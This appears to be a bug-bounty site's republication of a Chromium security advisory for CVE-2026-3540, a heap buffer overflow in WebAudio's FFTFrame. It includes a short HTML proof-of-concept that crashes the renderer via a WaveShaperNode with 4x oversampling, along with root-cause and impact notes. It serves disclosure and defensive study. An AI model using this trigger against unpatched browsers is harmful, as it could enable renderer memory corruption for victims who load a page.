Skip to content
Memory corruption Advisory Advanced CVE-2026-3540

Inappropriate implementation in WebAudio (CVE-2026-3540)

A heap buffer overflow occurs in the WebAudio FFTFrame code when a WaveShaperNode uses 4x oversampling together with a non-power-of-2 renderSizeHint. An attacker could trigger a renderer crash, and the overflow may allow memory corruption in the renderer process.

Davi Antônio Cruz Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 18 days

VULNERABILITY DETAILS

Heap-buffer-overflow in blink::FFTFrame via WaveShaperNode oversampling with non-power-of-2 renderSizeHint

VERSION Chrome Version:146.0.7670.0

Operating System: Linux, Debian

REPRODUCTION CASE

HTML
<!DOCTYPE html>
<!--
 ./chrome --enable-features=WebAudioConfigurableRenderQuantum
-->
<script>
  try {

    const ctx = new AudioContext({
      renderSizeHint: 57456, 
      latencyHint: 'playback'
    });

    const shaper = ctx.createWaveShaper();


    shaper.connect(ctx.destination);



    shaper.oversample = '4x'; 

  } catch (e) {
    console.error(e);
  }
</script>

Type of crash: renderer Crash State: asan.txt (attachments), also llvm.txt generated by llvm-symbolizer --obj=/home/davi/chromium-asan/chrome 0x3b84dc3d 0x3ba46be4 0x3ba47adf 0x3ba3fb38 0x3ba3edbb 0x3ba3c651 0x3a5b6b58 0x166a18be 0x166a00ac 0x17836e1c 0x1783dae4 0x178317c6 0x1702fb49 0x17046d82 0x1b5c5f75 0x1b514829 0x1b5115db 0x1b51132a 0x16a1b716 0x16a1de13 0x16572898

CREDIT INFORMATION

Reporter credit: Davi Antônio Cruz

The original report as published on the Chromium issue tracker, by Davi Antônio Cruz. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the FFTFrame sizing logic assumes a power-of-2 render quantum, so a non-power-of-2 renderSizeHint combined with 4x oversampling causes a heap buffer overflow.

Impact

The renderer process crashes, and the heap overflow could potentially lead to memory corruption within the renderer sandbox.

What the attacker needed

Chrome with WebAudioConfigurableRenderQuantum enabled; Victim loads a malicious web page

How it was found

  1. Launch Chrome with the WebAudioConfigurableRenderQuantum feature enabled.
  2. Create an AudioContext with a non-power-of-2 renderSizeHint and playback latency hint.
  3. Create a WaveShaperNode and connect it to the destination.
  4. Set the shaper's oversample property to 4x, which triggers the crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

WebAudio lets web pages generate and process sound. A buffer is a fixed-size block of memory, and writing past its end is called a buffer overflow, which can crash the program or corrupt data. Here, a page that sets an unusual audio buffer size and turns on 4x oversampling makes the browser write past the end of a buffer.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.